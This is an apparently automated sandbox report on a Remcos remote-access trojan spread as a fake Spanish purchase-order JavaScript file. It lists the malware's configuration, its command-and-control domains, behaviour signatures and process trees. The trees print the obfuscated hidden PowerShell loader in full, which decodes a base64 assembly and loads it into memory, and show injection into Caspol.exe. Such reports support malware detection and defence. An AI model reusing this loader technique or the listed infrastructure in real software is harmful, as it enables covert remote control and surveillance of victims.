Analysis

  • max time kernel
    148s
  • max time network
    111s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/09/2026, 22:10

General

  • Target
    Orden de compra_52177236.js
  • Size 434KB
  • Sample260916-13phsawdng
  • SHA256 4c446650d42ae67be1a86da5e99dc7ebed15e2b70137044bc4fb8d955d191f1c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • RemoteHost

C2
  • www.albader-group.cam:2404

  • www.albader-groupbackup.cam:2404

  • www.albader-groupbackup1.cam:2404

  • www.edibeckconsult.cam:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    folder

  • mouse_option

    false

  • mutex

    Rmc-O95NBS

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Suspicious use of SetThreadContext 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Orden de compra_52177236.js"
    1⤵
    • Badlisted process makes network request
    • Creates a file in the Startup directory
    • Modifies registry class
    PID:4132
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$transplutonium=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$vitriolic=[System.IO.MemoryStream][Convert]::FromBase64String($transplutonium);[System.Reflection.Assembly]::Load($vitriolic.ToArray())|Out-Null;[Win32.RMP.Cls_zfdluHLLZb]::Met_SPmHFGUMYWEX('zn6632TWdYd31H3RIsVv8VYFizw3z8nNmxoO9J1HdlqA7Y2gywDRkQdTrca4gCsPLJINh8Bp6CeMcOMJy/BmIw==','','Gor80BxfwxDtVS6445c4ps6BoqzXHztXbmHyhPYpVGolQIAebkqsQNDVtwr+lOyM','CCaKTbovKMlZ15DD3/tMxxxueVBraCLacdN/OQY8XCg=','s06Tyu0+nd0A/IJhzHPpT/MBB+qwZkDCIxTMm7aUXU8=','','cSbrzrN1DKLi0QGW9mI1Y/TPdnTmSJODAIOA7VrGIoE=','','QFhgE7SJnRAapg5ef7cHMh9Mzo1E0vb7OPPAZHrdkxQ=','G9dJ5G93mSAzYE8oPJvoDCD9qzLH29MstX+JfnMJmAEq8Fs7ztygCusXY+a3bssz','UiBuTyHmx211jpRLFvFOgkUb50jx2yC/iLuQDDTvPL4=','a2azVTYQe9pE8G+55Uey63AVdYYe+5wMeRx4923qmg0=','w3C5N0/FsgYotR8To0SL2fCYHutybPyVlMoH4192Ou8=','','otpUey3LxXqEZMilyLhK/oMDlsPJfsgzZLPThH7Rlo8=','E4f5L4lURDhcwE3unzvu8ACnBlKT6TJVXT3XaMso10s=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
      2⤵
        PID:2924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$transplutonium=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$vitriolic=[System.IO.MemoryStream][Convert]::FromBase64String($transplutonium);[System.Reflection.Assembly]::Load($vitriolic.ToArray())|Out-Null;[Win32.RMP.Cls_zfdluHLLZb]::Met_SPmHFGUMYWEX('zn6632TWdYd31H3RIsVv8VYFizw3z8nNmxoO9J1HdlqA7Y2gywDRkQdTrca4gCsPLJINh8Bp6CeMcOMJy/BmIw==','','Gor80BxfwxDtVS6445c4ps6BoqzXHztXbmHyhPYpVGolQIAebkqsQNDVtwr+lOyM','CCaKTbovKMlZ15DD3/tMxxxueVBraCLacdN/OQY8XCg=','s06Tyu0+nd0A/IJhzHPpT/MBB+qwZkDCIxTMm7aUXU8=','','cSbrzrN1DKLi0QGW9mI1Y/TPdnTmSJODAIOA7VrGIoE=','','QFhgE7SJnRAapg5ef7cHMh9Mzo1E0vb7OPPAZHrdkxQ=','G9dJ5G93mSAzYE8oPJvoDCD9qzLH29MstX+JfnMJmAEq8Fs7ztygCusXY+a3bssz','UiBuTyHmx211jpRLFvFOgkUb50jx2yC/iLuQDDTvPL4=','a2azVTYQe9pE8G+55Uey63AVdYYe+5wMeRx4923qmg0=','w3C5N0/FsgYotR8To0SL2fCYHutybPyVlMoH4192Ou8=','','otpUey3LxXqEZMilyLhK/oMDlsPJfsgzZLPThH7Rlo8=','E4f5L4lURDhcwE3unzvu8ACnBlKT6TJVXT3XaMso10s=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5824
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
        2⤵
          PID:4628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$transplutonium=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$vitriolic=[System.IO.MemoryStream][Convert]::FromBase64String($transplutonium);[System.Reflection.Assembly]::Load($vitriolic.ToArray())|Out-Null;[Win32.RMP.Cls_zfdluHLLZb]::Met_SPmHFGUMYWEX('zn6632TWdYd31H3RIsVv8VYFizw3z8nNmxoO9J1HdlqA7Y2gywDRkQdTrca4gCsPLJINh8Bp6CeMcOMJy/BmIw==','','Gor80BxfwxDtVS6445c4ps6BoqzXHztXbmHyhPYpVGolQIAebkqsQNDVtwr+lOyM','CCaKTbovKMlZ15DD3/tMxxxueVBraCLacdN/OQY8XCg=','s06Tyu0+nd0A/IJhzHPpT/MBB+qwZkDCIxTMm7aUXU8=','','cSbrzrN1DKLi0QGW9mI1Y/TPdnTmSJODAIOA7VrGIoE=','','QFhgE7SJnRAapg5ef7cHMh9Mzo1E0vb7OPPAZHrdkxQ=','G9dJ5G93mSAzYE8oPJvoDCD9qzLH29MstX+JfnMJmAEq8Fs7ztygCusXY+a3bssz','UiBuTyHmx211jpRLFvFOgkUb50jx2yC/iLuQDDTvPL4=','a2azVTYQe9pE8G+55Uey63AVdYYe+5wMeRx4923qmg0=','w3C5N0/FsgYotR8To0SL2fCYHutybPyVlMoH4192Ou8=','','otpUey3LxXqEZMilyLhK/oMDlsPJfsgzZLPThH7Rlo8=','E4f5L4lURDhcwE3unzvu8ACnBlKT6TJVXT3XaMso10s=','','','')"
        1⤵
        • Process spawned unexpected child process
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_mk0refmv.cms.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mk0refmv.cms.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/2572-17-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-21-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-7-0x0000022B7CEF0000-0x0000022B7CF12000-memory.dmp

            memory/2572-9-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-10-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-11-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-12-0x0000022B7ABC0000-0x0000022B7ACA0000-memory.dmp

            memory/2572-13-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-15-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-2-0x00007FFB16E0F000-0x00007FFB16E10000-memory.dmp

            memory/2572-18-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-8-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-20-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-3-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-4-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2572-14-0x00007FFB16C80000-0x00007FFB17624000-memory.dmp

            memory/2924-16-0x0000000140000000-0x00000001400AF000-memory.dmp

            memory/4132-22-0x000002D370660000-0x000002D370A7E000-memory.dmp

            memory/4132-0-0x000002D370660000-0x000002D370A7E000-memory.dmp

            memory/4132-31-0x000002D370660000-0x000002D370A7E000-memory.dmp

            memory/4132-34-0x000002D370660000-0x000002D370A7E000-memory.dmp